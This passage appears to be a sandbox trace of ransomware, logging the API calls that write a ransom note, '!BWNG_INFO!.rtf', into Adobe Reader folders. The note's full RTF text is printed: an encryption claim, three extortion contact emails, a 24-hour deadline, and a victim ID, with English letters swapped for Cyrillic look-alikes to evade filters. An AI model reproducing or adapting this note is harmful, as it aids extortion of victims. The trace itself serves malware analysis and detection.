r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x1de0db8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.071] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.072] CloseHandle (hObject=0x1b4) returned 1 [0034.072] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\!bwng_info!.rtf")) returned 0xffffffff [0034.072] GetLastError () returned 0x2 [0034.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 